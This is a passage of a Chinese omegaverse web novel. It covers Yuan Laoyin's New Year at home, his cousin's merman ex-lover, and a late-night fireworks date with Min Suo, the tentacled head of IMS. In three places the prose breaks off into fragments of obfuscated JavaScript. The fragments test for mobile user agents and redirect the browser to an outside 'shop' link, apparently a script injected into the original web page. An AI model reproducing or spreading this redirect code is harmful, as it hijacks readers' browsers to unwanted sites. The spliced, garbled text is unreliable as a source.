“你应该知道我有天生腺体残缺。”原烙音道,对面的Omega哭得抽抽噎噎他却摸不出下一张纸,“运气好活过三十岁,我的人生已经走向倒计时。” “之前实验室聚餐时我记得你说过你希望有个一家三口幸福美满的家庭。”原烙音不介意那些圈子里半公开的秘密,他张口将自己的伤疤撕得鲜血淋漓,“长期注射抑制剂会影响生育能力。” 而他原烙音,从分化开始抑制剂不离手,还是最高强度的种类。 换言之,他根本没有完全的Alpha能力,即使他的信息素量级高,拳头硬,也不能磨灭他短命的事实。 “沈清诺,你凭自己的本事保研到了C·N,你还有大好的前程。”原烙音始终离他两步远,那一点点距离就像是永远跨越不了的鸿沟,“最主要的是,在一起的前提是有感情基础,信息素捆绑的婚姻大多都会一地鸡毛。” “你的父母抚养你成人,不需要你用婚姻报答。” 沈清诺淌着泪只是胡乱点头,不知道有没有听进去。 “回去吧。”风吹得原烙音有些冷,他也看见月光下Omega的脸冻得通红。 平日在实验室古灵精怪活泼开朗的小师弟缩成不敢伸翅膀的鹌鹑,原烙音的内心也很难受。 但他不喜欢似是而非的模糊说辞,这个时候明确的拒绝好过不清不楚的欲擒故纵。 “谢谢你学长,我会跟我父亲讲清楚的。”沈清诺抬起头,将翘边的抑制贴按回去,“希望学长能放过我父亲。” 去医院取得他人信息素属非法行为,报警一抓一个准。 只要进局子基本完蛋。 但原烙音没那么睚眦必报。 “我不会。” “那……我们还是朋友吗?” “当然。”原烙音与他并肩而行,远远处看见别墅的灯光,他们踩着各自的影子。 回去后没有其他插曲,沈家人很快就离开了,原烙音关上门,笑容消失不见。 毕竟任谁突如其来碰上相亲都不会太高兴。 “音音,我瞧着这个沈清诺还是挺好的。”温宴玉斟酌用词,这次属实是先斩后奏,但百分之九十多的契合度属实少见,对于原烙音的病情大有裨益,再加上那个Omega还和原烙音是同门。 他不推崇以信息素为基础的结合,但原烙音是他唯一的孩子。 “爸爸,这对他不公平。”牺牲Omega的下半生陪一个活不活得到四十都未知的残疾人太过儿戏,“这对我也不公平。” 他不愿意由于契合度,短短一生捆绑在Omega身上。 “都怪我不好。”温宴玉从前是从事保密工作的工程师,长期接触带有辐射的物质,即使发觉有了原烙音立刻休假,还是造成影响。 “您不知道从小到大别人知道我爸爸是重武器总设计师有多羡慕。”原烙音右边露出浅浅梨涡,“符医生说他会想到办法的。” “符叔叔这样说自然是好的。”温宴玉揉皱原烙音的头发,“沈家不行,但我瞧着沈清诺还是不错,和你又是同门有工作话题。” 沈清诺很有天赋,也收到了IMS的工作邀请。 要是打一天代码,下班后回家还看到同事,那才真是一辈子都完了。 “不要。” “你不愿意就算了。”温宴玉也不多劝,本来沈家上门就是名不正言不顺,“我看你带回来那个长条包着的,是什么东西。” “闵随托我带回来的画。”原烙音挑眉,不准备在这个时候打开。 闲不住的原衡铎已经凑到近一米长的物体旁,他兜里揣着卡,忍不住给原烙音献殷勤。 “我帮你打开!”他显然没有任何危机意识,伸手将包装好的画小心拿出唰得一声抖开。 “别!” 原烙音根本拦不住。 画展开后只露出背面,唯一见到真面目的原衡铎尖叫着丢开罪证,转身就朝楼上跑去。 “这小子又抽什么风。”原仲和捡起画,认出来后抽出放在门口的高尔夫球杆,掂量两下朝楼上追去。 死小子,差点忘了他还闯过这祸! “这不是我的画吗?”庭珂捡起来随手放在桌上,“怪不得你不给你二叔礼物,原来是在这里。” “不会是在拉乌斯蒙德找到的吧。” 十分钟后,鼻青脸肿的原衡铎被提溜下来,垂头丧气,还不忘狠狠瞪罪魁祸首一眼。 原烙音耸肩。 拦了没拦住,就是原衡铎这小子自己作死。 “画怎么来的?”不怪原仲和想不通,当初原衡铎出国后鬼混被停卡,那副画二十万就卖出去了,几番周折转手,原仲和花二十倍价格都没拿回来。 “是IMS的董事长闵随。”原烙音解释道,“他托我把这个给您,说是想求一个电话的机会好好解释。” “我和他不熟。”原烙音划开他与闵随的界限,担心引火烧身。 “这鳖孙还好意思打电话!”原仲和狠狠一拍桌子,看着画勉强压下火气,“华锐那都不叫恶意竞争了,他们投毒是要坐牢的,闵随下令革职开除只是给IMS留脸面罢了。” 若特食方真的选择报警,连带着整个IMS都会丢脸,也就怪不得闵随想尽办法也要求一通电话。 “他一个分公司片区负责人,与特食一向是井水不犯河水,忽然冲上来咬,背后没人鬼信!”原仲和心知闵随做事不说光明磊落但也是坦坦荡荡,对闵随更多的是迁怒。 “今晚我给他打个电话,免得他一直惦记。” 原烙音点点头,偷偷发微信。 【原烙音:OK,今晚】 闵随回复得很快。 【闵随:谢谢小原】 【闵随:(转账88888元)新年快乐,机票报销,自愿转账】 原烙音手指挪动,用最大的克制力按下熄屏键。 这给太多了,不敢收啊。 “二叔,我瞧着闵随还挺上火的,你不如趁机多咬几口。”原烙音加油打气,他对于公司经营一窍不通,“让他吐几个点。” 原仲和只觉得大侄子读书读坏了脑子。 “音音,上楼,我有话问你。”温宴玉的长发打理得很好,乌黑柔顺,垂在腰后。 笑里藏刀。 原烙音只觉得自己大限将至。 果不其然门一关双堂会审,温宴玉双手环胸,“我问你,你的性取向是不是Alpha。” 这也太直白了。 装哑巴看好戏一晚上的原仲盛忍不住开口解围,“你说得太突然,孩子都被问懵了。” “你再多话就出去。”温宴玉道,“不用狡辩,直说就是,我有心理准备。” “就是,原烙音,快点说。”原仲盛见风使舵,临阵倒戈。 还在犹豫怎么狡辩的原烙音抿唇道:“我不喜欢Alpha,我谁都不喜欢。” 腺体残缺就是天生残疾,他这样的人喜欢谁对别人都是负担。 虽说有追到闵随的决心,但他目的还是治好腺体,并没有把闵随带到家里来的想法。 好聚好散就是他们之间唯一的归宿。 “音音。”温宴玉张口却很久没说话,他捂住脸,手掌下的眼睛盛满哀伤,“爸爸一定会治好你的。” * IMS总部大楼灯火通明,所有人都在为了年末业绩加班。 闵随待在办公室,脸上阴云密布,触手满地都是。 “老板。”谢垣敲门进入,差点被黑漆漆的触手绊倒,只能努力维持平衡露出讨喜的微笑。 他现在可不敢招惹闵随。 今天刚送走原烙音,闵随就去对面大楼拜访,用信息素将对面高量级Alpha压得趴在地上手指都动不了。 “什么事?”闵随的心情总算是暴雨转阴,二十分钟前他结束时长超过两小时的通话。 面对他给出的条件,对面的原仲和态度终于不是非要弄死华锐,同意私下调解,不将华锐负责人投毒一事报警公之于众。 而付出的代价也比他想象中的更低, “今年您要回族地吗?”谢垣问道,果不其然听到拒绝。 “就呆在IMS。”塔卢索族地里明枪暗箭,即使现在已经是统领全族的大祭司,也改变不了那里是闵随最厌恶的地方。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152807|138537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 祂们根本不会相信他那套不喜欢命定伴侣的说辞。 “联系符忍盛,几天后的检查我不去了。”闵随的体温比平常高,普通Alpha的体温,但这对于塔卢索来说并不是什么舒服的温度,“通知各部门,放假当天晚上十点必须全部离开,一直到初八,不能回公司。” “老板。”往年从来没有那么多硬性规定,谢垣脑海中浮现出不可思议的猜测,“您别是低迷期来了吧。” 低迷期,专属于塔卢索种族的名词,在这段时期,塔卢索会十分虚弱甚至放不出信息素与触手,彻底回归普通人状态。 换句话说,就是体格较为健壮的Beta。 更要命的是,他们会丧失对情绪的超高掌控力,容易沮丧甚至哭泣,比Alpha的易感期筑巢行为更为严重。 周期十年到十五年不等,当然也会有失误,大周期内短期出现两次的罕见情况。 对于没找到命定伴侣的塔卢索来说就是个日期影响不大,有命定伴侣的就会渴求爱人的气息,直到获得爱人的抚慰。 “就这几天,谢垣,你也走。”闵随克制住自己的攻击欲望,他的触手在几天后就会收回体内无法召出,直到低迷期结束。 谢垣毫不怀疑闵随的触手能把他捏成一滩蓝色液体,他果断出门顺手反锁,微笑着走到助理办通知放假事宜以及董事长一直到年前不见任何人。 虽然看上不会有极端情况发生,但那是从前的闵随。 现在是拥有命定伴侣还死不承认喜欢的进化版闵随。 * 待在家里的时间总是短暂又漫长,如同坐在田垄上看金黄麦浪,每分每秒被拉得无限宽,可当自己回过神来,太阳落山,一天已经走向末尾。 原烙音每天的作息很规律,凌晨三点睡中午十二点起,心情好陪着原仲盛打打台球,或是看原衡铎画画,要真是无聊就敲敲代码。 他在家里的日子很惬意,家人不会受到他外泄信息素的影响,保姆都是闻不见的Beta,他只需要注射无副作用的普通抑制剂。 日子过得太舒服,以至于他给符忍盛通了好几次电话,微信与闵随的聊天还停留在过期的转账记录上。 “哥,你真喜欢Alpha啊。”原衡铎脸上沾着颜料,专门划出来给他的画室如同蝗虫过境一片狼藉,到处都是水彩的痕迹。 他在国外见多识广,这种小众性向并不少见,甚至还能领证。 “不喜欢。”原烙音用原衡铎的水彩在纸上乱涂乱画。 又是他爹那个大喇叭! “哦。”原衡铎没吃到瓜,担心多问被打,又凑回去继续自己的创作。 原烙音瞥一眼。 嗯,美人鱼。 再瞥一眼。 男美人鱼?! “这也是你的灵感?”原烙音见画上那写实的模样,头发是带着丝丝金的亚麻色微卷,标准西方长相,上半身是很难练出的精壮,按比例看下半身的鱼尾至少三米长。 “乱画的。”原衡铎在画中人脸上添上亮蓝色的鳞片,甚至有透明的观感。 原烙音不觉得是乱画,但他也没那么多好奇心非要拆穿小男孩的心事。 “二少,有人来找您,放他进来吗?” 原衡铎望着手机屏幕上的脸,丢出去的画笔差点波及原烙音,跳起来就像一只炸毛的猫。 “让他滚,我不认识他!” 原烙音看好戏,这语气听上去可不像是不认识啊。 电话还没挂断,原衡铎又变卦,抓起手机恶狠狠道,“让他别进来,我马上到。” 原烙音看他就像一只被踩到尾巴的邪恶摇粒绒,揉着自己没打理的烂鸡窝冲下楼,透过画室的玻璃窗,原衡铎拎着高尔夫球杆气势汹汹往大门口去。 能上门,应该是闹掰的朋友。 原烙音没好奇心,打开手机刷朋友圈,忽然看到一条瞪大眼睛。 【实名diss黑心老板,是谁除夕夜还在上班,整个公司都放假为什么要留下我!!!】 配图一张淋雨拉布拉多表情包,很能体现发圈人的崩溃心理。 是谢垣。 14. 第 14 章 闵随过年不回家吗? 这个问题困扰着原烙音直到年夜饭开始,他的对面坐着气鼓鼓的原衡铎,再往左看是位生面孔。 冷峻,庄严,像是沉没深海庙宇中手握三叉戟的海神像,也是男美人鱼画像的原型。 原烙音闻到了海洋的味道。 是Omega。 “把你的假信息素收起来!”原衡铎筷子一拍狠狠瞪着那人,“我哥不能闻信息素,不然就滚。” “你别凶。”那男人的眼睛是多情的,但又好似刻意,因为温柔的水波之下是深海漆黑的波涛汹涌。 “小铎,怎么对客人说话呢。”庭珂轻声呵斥着,他是知道原衡铎在国外交了Omega男友又把人家甩了拍拍屁股回国,这种丧尽天良的事原衡铎居然干得出来。 原衡铎的卡也是这样停的。 “爸爸,你也向着外人说话。”原衡铎嚼着最喜欢的菜却觉得难以下咽。 “伯父伯母好,哥哥好,我叫傅云泠,外祖父是华侨。”漂亮的Omega局促地起身,那身高看上去至少一米九,若非信息素做不得假,身材相貌就是顶A标准,“和铎哥是校友,研究海洋保护。” 原衡铎狠狠撕咬着牛腩,堵住自己嘴免得直接怼人,眼神骂得很脏。 这个老东西还好意思喊他哥! “既然来了就在邛光好好玩。”庭珂客气道,他对这位不请自来的Omega没什么特殊感觉,只不过在除夕夜阖家团圆时上门的行为的确欠妥。 还不是原衡铎那个蠢小子欠的风流债,不然人家何至于漂洋过海来讨公道。 原衡铎担心庭珂语出惊人让他作陪,眨眼频率几乎要把原烙音闪瞎。 “父亲,公司放几天啊。”原烙音接收到对面的求救电波,出言打断,生硬地切换全场话题。 “整个集团都是按国家法定放,加班工资翻三倍添到奖金里开年发。”原仲盛回应道,“你问这个做什么。” “我听说闵随给全公司放假,自己还在坚守岗位。” “他没爹没妈没亲戚的……”原仲和嘲讽的话说出口一半才意识到有外人在场,喝了口汤换了语气,“他孤家寡人一个,还是大领导谁都不待见,过年都找不着地去,还不如留在公司加班。” 无父无母的小可怜。 原烙音的假圣母心开始泛滥,若是这个时候趁虚而入安慰陪伴提供情绪价值,让闵随沦陷那不是手到擒来! 他担心自己偷偷学习追人秘诀的事情败露,没敢把温宴玉嘲笑过的书带回来,这几天看电影都是半夜三更偷偷摸摸。 他昨天才看过电影,里面的Omega男主在Alpha伤心难过之时毅然前往陌生的国度,捅开了那层窗户纸,两人有情人终成眷属。 虽然与闵随之间隔的是水泥墙,但不妨碍小原同学踌躇满志。 毕竟他还有时间,而闵随也真的有用。 原烙音没吃几口就上楼自我封闭,蠢堂弟紧随其后,撇下不请自来的假Omega真骗子。 “哥,救救我。”原衡铎锁上门,那头卷发稍微打理了下,不再像头金毛狮王。 “救你什么?”原烙音正在看初三的机票,挑时间正心烦着。 原衡铎咬着唇,最后锁上门搅弄双手犹豫多时才开始倒豆子。 “傅云泠是Alpha,他骗我感情,还跟我上床,我差点死在他公寓!”原衡铎火冒三丈恨不得现在就冲下去撕烂那个伪君子的脸,“骗心骗色不要脸的感情骗子!出了门我一定要弄死他!” 虽说是在嘴楼下那位,原烙音却感觉自己莫名被骂。 毕竟自己也是在走同样的路,但闵随这样的人也最多放手各自余生,不会像原衡铎这样跳脚。 “他还是人鱼,真人鱼。”原衡铎想起自己痛苦经历就咬牙切齿,“而且人鱼还有两……” “嗯嗯,嗯嗯……嗯?!”原烙音正在点头敷衍左耳进右耳出,但人鱼二字进入脑子里没倒出来,他止住原衡铎接下来的限制级话语,压低声音。 “你再说一遍?” 人鱼。 这小子不会脑子气出病开始胡言乱语吧。 “真的。”原衡铎抓住他哥的手就像是抓到救命稻草,“哥你不知道,当时我冲浪跑太远遇到鲨鱼群,傅云泠出现后直接手撕。” “鲨鱼啊,真的生撕!”原衡铎现在还心有余悸,那时的傅云泠就像冰冷的杀神,三米长的蓝紫色渐变鱼尾就是最锋利的武器,那一小块海域都被血染红。 “哥,他来一定是带我走的。”原衡铎咬住唇,平日里乐天派笑嘻嘻的Alpha浑身都在发抖。 “在家里他不敢乱来,先稳住他。”原烙音安抚原衡铎的情绪,他知道原衡铎这人嘻嘻哈哈大大咧咧不可能精神错乱,但人鱼一说未免太过离奇。 他也不能承担原衡铎出事的后果。 “初三,初三我们就走,去首都。”原烙音拍拍Alpha的背,“不要多想,到时候你就住在我宿舍,外人进不来学校。” 原衡铎并没有犹豫。 “好,我跟你走。” 晚上傅云泠被安排在楼下的客房,原衡铎担心那条死鱼爬床,非要赖在原烙音的房间睡,等他们打游戏打到凌晨四点终于睡后,紧锁的房门被轻易打开。 傅云泠静静俯视着二人,比常人多出一节的手指轻轻蹭在原衡铎的侧脸。 “只有睡着才那么乖。” 目光又落在里侧的原烙音身上,轻轻一挑眉。 这是……塔卢索的命定伴侣? 他不便多待,甚至原衡铎担心的亲吻也没有出现,门再次关闭,再也没有打开。 兄弟二人同时睁开眼睛,原衡铎怕得瑟瑟发抖,狠狠用手背摩擦那块傅云泠触碰过的皮肤。 原烙音确信自己反锁房门。 他陷入沉思。 那真是人鱼? * 原衡铎提心吊胆地与傅云泠同处一个屋檐下,他深知对方的破坏力有多强,要是真的发怒。 他的家人都在这里。 傅云泠从前是不食人间烟火的A圈天菜假Omega,现在就是撕掉伪装肆意妄为的疯子Alpha。 他胸前紧紧束缚的绷带下,是一枚永远不会消除的旧咬痕。 “走了。”原烙音保险起见只背上电脑,其余东西都让家里邮寄过去。 原衡铎更是潇洒,就揣个手机。 二人逃命似的到机场,一直到飞机起飞都心有余悸。 “你……”原烙音本来想说这几日傅云泠半夜都撬锁进来,他根本没睡着,每次都能发现那人对原衡铎近乎痴迷的眼神。 但这些只能说明傅云泠不正常。 真正让原烙音相信原衡铎话的,除了每晚那人离开时留在门前类似海水的一滩水渍,还有他无意间露出侧脸像是鳃裂的部位。 身旁的原衡铎太激动,认为自己重获自由手舞足蹈。 “咋啦,哥?”原衡铎转过头。 “没什么。”原烙音把脱口而出的话吞回去,现在说出来也只是添堵罢了,“待在A大也不是长久之计,他能找到家里,也能追到首都。” “实在不行,就报警吧。”原烙音道。 但原衡铎显然是陷入了纠结之中,他反复搅弄着自己的手指,最后越演越烈将食指撕得鲜血淋漓。 “哥,他这种要是被发现了,会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152808|138537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送去切片吧。”原衡铎自认恨不得对方永永远远消失不见,但还没到把人送去做活体实验的地步。 “等他吃了你你就高兴了。”原烙音摇摇头。 “不是,之前在国外我报过警,但他们认定是我精神错乱,还要送我去疯人院。”至于傅云泠莫名其妙消失二十一天,最后完好无损地回来。 而著名海洋生物研究所分所却遭遇恐怖袭击,只可惜就连新闻也只有文字播报,并无影像流出。 没有证据。 但他知道那是傅云泠。 再遇的那一晚他差点死在傅云泠的公寓。 窗外的云层一重接着一重,或轻或重,或薄或厚,自由地散落在天际,由黄昏镀上金光。 原烙音将纸杯里的可乐一饮而尽。 若对方真的是超乎人类想象只存在于传说中的人鱼,甚至拥有极其强悍的能力,他该如何保护原衡铎。 他要是真的死了,原衡铎该怎么办? 街道张灯结彩,路灯上都挂满福字灯牌,绿化树上缀满灯笼,即使天还没完全黑就有烟花在空中绽放。 原烙音提前问过室友,对方首都土著在宿舍和家的时间对半开,现在更是已经回家过年,一回寝室原衡铎就瘫在桌子上身心俱疲。 “哥……哥……” “再喊滚出去睡大街!”原烙音烦得想给他两拳物理催眠。 “给我件睡衣。” 现在天色不早,室友的机车还停在寝室楼下,原烙音没少搭便车,还自费买了头盔。 “在寝室里好好待着,要吃什么点外卖一会到门口去拿,现在放假了不能上寝。”原烙音没忘记自己的终极目标,换身衣服就准备去IMS给空巢霸总送温暖。 他在手机备忘录上删删减减,勉强罗列出一个像样的简陋计划,一条一条变为现实。 没想到第一条就碰壁,他准备让闵随感动流泪的那束玫瑰,把学校周边找了个干净都找不到。 大年初三,没花店开门。 勇敢小原永不言败,顺移下一条—— 放烟花。 前些年烟花禁令终于放开,但拿到明面上卖的款式就那么几种,就算是几岁的小孩子都嫌没趣。 原烙音甚至跑到郊区,才找到秘密基地,用尽全身力气砍价才砍回记忆中的超级巨无霸烟花,给店家留地址送去后才美滋滋往IMS开。 刺探敌情是先要条件,知己知彼百战百胜。 【原烙音:谢助理,您现在在IMS吗?】 谢垣回复得很快。 【谢垣:没,公司只有闵总一个人,您找我是有什么事吗?】 【原烙音:没事】 结束这段每个字都透露尴尬的对话,原烙音一屁股坐在IMS大楼前,不远处的机车把手上还挂着块蛋糕。 心脏在砰砰跳动着,连带着暂时困倦的腺体重新复苏分泌信息素。 原烙音不愿之后的计划被抑制剂后遗症打断,他往胸前贴上两块抑制贴,摸了摸自己单薄的外套叹了口气。 好看是好看,太废人了。 也不知道闵随这个大冬天穿西装的人是不是冷觉感受器完全失灵。 他觉得自己一定是疯了,为了一则偶然刷到的朋友圈就在新年乘坐飞机从南到北。 腺体因束缚不满抖动。 原烙音笑了。 只是为他残缺的腺体罢了,或许真的对不起闵随,但他一定会给闵随力所能及范围内最好的补偿。 他一定要追到闵随,不惜一切代价,至少在腺体治好前让闵随对他死心塌地。 目标远大,小原同学信心满满,朝许久未发送消息的置顶发出一周以来第一句话。 15. 第 15 章 【原烙音:闵先生在干嘛】 他嫌回复不够快,拨通电话。 “闵先生,你在IMS吗?”原烙音明知故问。 他的声音很清脆,隔着声筒有些不真实感,甚至还传来砰砰的烟花爆炸声。 “嗯。”闵随还听见窸窸窣窣的纸页摩擦声。 “您现在有时间吗?”原烙音坐在IMS大门前,此时此刻正是北京时间23:37,IMS总部漆黑一片无人加班,只有顶楼亮着灯。 “什么意思。”听筒那边的烟花声几乎与现实同频,闵随脑海中浮现出不切实际的幻想,他的身体意识抢先于大脑反应回答,“有。” “我在楼下等您。” 电话掐断,根本不给拒绝的机会。 闵随呼出一口气,偏偏是几十年一遇的低迷期,从前未遇见命定伴侣时只不过是个日期,现在却万分难熬。 基因决定的追逐在逼迫他寻找伴侣,索取拥抱与亲吻,进入美好的安乐乡。 他甚至怀疑是不是谢垣故意透露消息,不然远在万里之外的原烙音为什么会忽然出现在公司楼下,还偏偏是这么要命的时候。 也不知是不是心理作用,闵随隔着无数层水泥,竟然恍惚间汲取到丝丝缕缕青柠香。 他端起水杯,却发现早就喝个干净,与此同时漆黑的触手凭空出现,开始在宽阔的办公室群魔乱舞。 低迷期为什么触手会出来。 闵随犹豫了。 他应该见原烙音吗? 遵循身体违背本心的行为无论是对他还是对原烙音都是一种不尊重,但当他将注意力放在眼睛在大脑的成像时,发现自己已经进入下行的电梯。 【首层,到了】 原烙音坐在大门前,很不巧的是他的手机电量还剩可怜的10%,只能随手揪棵绿化带里的野草打发时间。 勇敢小原,不怕困难,今天最好一举拿下冰山! 身后传来脚步声,原烙音急急忙忙转过头去,见到熟悉的脸,笑道:“我就知道您会来。” “我想带您去个地方。”原烙音眼睛很亮,他示意不远处停放的机车,上面挂着两个头盔,显然是蓄谋已久。 闵随没有拒绝,牢牢锁住信息素的抑制贴与Enigma来说形同虚设,青柠的气息无法抵抗地钻入闵随的胸腔,挑起更强烈的渴求感。 若非理智尚存,他现在就会在监控下抓住原烙音的脖子狠狠啃咬。 鬼使神差,他没有半分拒绝,坐在机车后座,戴上原烙音递来的头盔。 “闵先生,您不搂着我的腰……”原烙音骤然发动,毫无准备的闵随身子不受控制地往前倾,差点炸出触手维持平衡,但最后也是如Alpha所愿圈住他的腰。 “就会像这样,被甩飞出去。”恶作剧成功的Alpha洋洋得意,黑色头盔很好掩盖住他的表情。 紧紧贴在后背的身体微凉,违背原烙音的认知,毕竟量级越高的Alpha身体发热会越严重。 “走了!” 机车轰鸣,时间已经快到零点,这条路上的车并没有想象中那么多,原烙音数着擦肩而过的路灯,感受到男人钳制他腰的力道,又加快速度。 吊桥效应,许多人是在网络上认识这个名词,出现在心跳加速的危机时刻,人会将心率升高的原因误认为心动。 闵随还穿着西装,头盔就有些不伦不类,原烙音看不见背后的光景只能发挥想象,倏地笑出声。 “开心吗?”原烙音每一个场景都经过精心设计,Alpha最懂Alpha,陷入要务的掌权者也希望短暂逃去无忧无虑的乌托邦。 他的随口一问被凛冽的寒风吹散。 闵随没回应,原烙音也不再多问。 他选的地方不远,离IMS总部大楼不过几分钟车程就有一处规划的烟花燃放区。 原烙音停好车,刚准备去搬堆在角落的烟花,又折返凑到闵随的耳边。 “差点忘了说,新年快乐。” 第二次走得头也不回。 闵随摩挲着指尖,他原本如同琥珀的眼睛黑得像墨,仔细看似乎有一团又一团不知名黑色物体缠绕翻滚。 “新年快乐。” 很小声,轻而易举被烟花压过。 经过无数岁月又孑然一身,这个对于所有人来说特殊的美好日子于闵随而言,与其余的三百六十四天无甚分别。 但好像,这一句他回复的新年快乐有所不同。 原烙音又出现在眼前,随之而来的是巨大的爆炸声,烟花冲上天空爆裂开来,形成缤纷的色彩。 剩下的辉光都落在Alpha青涩的脸庞,稀稀拉拉路过的人无不驻足观望。 “它叫‘雨林’。”原烙音抛弃自己打了许久的腹稿,一瞬不错盯着满天散开的金花,“我第一次见到您,总觉得您的信息素很宁静,让人安心,就像雨林一样。” “闵先生。”他弧度柔和的眼盛满点点星光,清朗的声音故意低沉,“我希望您天天开心。” 闵随一僵,他的思考能力仿佛也塞进四四方方的烟花盒子,与那些火药一起上天化为转瞬即逝后残余的灰烬。 原烙音是故意的。 忽然的出现、机车上的拥抱,与烟花下的祝福。 他能够看得出每一步Alpha的别有用心,他见过太多人,知道太多手段,那么多年,追求他的人如同过江之鲤,手段更是层出不穷。 但都不是原烙音。 都不是他的命定伴侣。 他好像在这一刻终于彻底明白命定对于塔卢索的束缚与恩赐。 闵随脑海中警铃作响,他的手想要拥抱原烙音,大脑却控制嘴,努力将回应变得冷淡,“谢谢小原,新的一年,学业有成,身体健康。” 太官方,就像是长辈对晚辈的祝福。 原烙音撇撇嘴,千把块钱下去就听几分钟响。 要是上个周收了闵随报销的机票也不至于那么后悔。 他掏出商家送的仙女棒,几根捏在一起点燃,冲过去递给闵随。 “闵先生!” “谢谢。”闵随这辈子就没碰过这种东西,他出于礼貌接过来,却只是静静等待光亮在末尾消失。 浪费他的仙女棒! 原烙音又重新点燃一根,捏在手中转过头朝闵随喊道:“闵先生,可以帮我拍张照吗?我手机没电了。” 举手之劳闵随不会拒绝,可惜他的摄影技术从来没有机会提升,只是掏出手机将人和仙女棒框在画面中就按下快门。 又顺手发给原烙音。 【闵随:(图片)】 仙女棒烧得一干二净,原烙音将纸壳与一盒摔炮送给等在旁侧的环卫工人,拍拍手从地上拿出一个巴掌大的慕斯蛋糕。 他落地顺南机场时已经很晚,更别说还先送原衡铎回学校再开机车,找花店买烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152809|138537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花一来二去耽误时间,好不容易遇上新年大半夜还没关的蛋糕店,只剩下丑兮兮没人要的草莓蛋糕。 但他并不准备向闵随透露那些坎坷曲折。 “今天不是我生日。”闵随的声音有些哑,他察觉到心脏处流入的暖意,那是他以为早已丧失掉的,感动的能力。 塔卢索的生命很长,当与命定伴侣相遇后祂们等同于无尽的生命会彻底进入倒计时,那是祂们漫长孤独黑白中唯一的色彩。 至于生日,那更是不会纪念的日子,就连百度百科上的生平,也是他授意谢垣一手捏造。 但现在,眼前小他许多的Alpha捧着不算好看的粉色蛋糕,最后的烟花转瞬即逝,天空又回归深蓝,方圆几十米唯一的光源只有一盏路灯。 灯光下,原烙音的睫毛在脸上留下长长的影子。 “又不是生日才值得纪念。”原烙音耸肩,他知道这不是闵随的生日,但还是要了根蜡烛。 “许个愿吧。”他点燃蜡烛。 “许愿这种东西只是自我安慰。”闵随控制节奏,不愿意走向到暧昧的地步。 “闵先生,您真的很懂怎么破坏气氛。”原烙音戏谑道,闭上眼睛做出表率,“新的一年,我想和闵随在一起。” 是闵随,不是任何姓闵的人都拥有的称呼闵先生。 这是他第一次面对男人时直呼姓名。 Enigma的眼中,Alpha双手紧握虔诚地许着愿望,烛光微微发橙照得他容貌精致。 许愿这一行为无疑是幼稚的。 如果生理反应无法避免他在此时此刻汲取温暖,但对象是原烙音,他愿意在这一刻停靠。 即使只是信息素,即使只是低迷期。 在大海中漂泊无数年的幽灵船,也想要梦想中的避风港。 “小原,该回去了。”闵随率先起身朝外走,只给原烙音留下背影。 原烙音吹灭蜡烛,又朝蛋糕拜了拜。 如来佛祖观音菩萨玉皇大帝耶稣上帝诸天神佛各路神仙,请忽略信男刚才的胡言乱语。 信男只是形势所迫,真想要的是钱,是健康腺体,还有当拳场上面的King,还要发SCI,如果觉得信男愿望太多,只要健康腺体就行。 * “机车停在IMS,我开车送你回学校。”闵随的声音从头盔里发出,有些嗡。 “闵先生,学校有门禁,我进不去了。”原烙音故意卖可怜,他的掌心拢住把手,大有闵随不接茬不开车的架势。 可话一出口他就恨不得咬掉自己舌头,怎么忘记了闵随也是同校学长。 学校刷脸,寝室刷卡,根本没门禁。 但闵随只是呼吸两下,没有过多犹豫,自然圈住原烙音的腰。 “我的房子有些远,如果你愿意,可以在上次的休息室歇一晚。” 他没有戳穿原烙音蹩脚的谎言,这于他而言也是极为有利的,即使不能发生过线行为,与命定伴侣待在同一空间,也能缓解他低迷期的不适。 甚至不需要信息素。 “谢谢您。”正中原烙音下怀。 这次机车的速度并不快,沿途还能看见有人在放烟花,年味很足。 原烙音感受到风打在头盔上,他忽然觉得那块看起来就甜腻腻的草莓蛋糕也不是那么难以下咽。 一时间,他想快点飞回IMS总部大楼,和闵随一起分食那块幸运蛋糕。 16. 第 16 章 在低迷期,关于命定伴侣的一切都是甜蜜的,即使是Alpha手中捧得那块粉色奶油都糊在塑料罩上的丑蛋糕,黏腻的草莓味都变得甘甜可口。 “好像有点太甜了。”原烙音尝了口,动作自然地又挖一块递到闵随的嘴边。 共用同一只勺子。 闵随还是张开嘴,奶油软绵的口感混合过于腻的甜香,这种味道他八辈子没尝过。 “好吃吗?”原烙音随口问道。 显然诚实这样的中华美德闵随贯彻到底。 “不好吃。”他舌根还残余着草莓味,连喝几口水才缓和下来,又意识到自己的话不太礼貌,用了更委婉的语气解释,“太甜了。” “我也觉得。”原烙音趴着桌子上,头挨在伸长的胳膊内侧,静静看向闵随,“闵先生,今天您开心吗?” 自然是开心的。 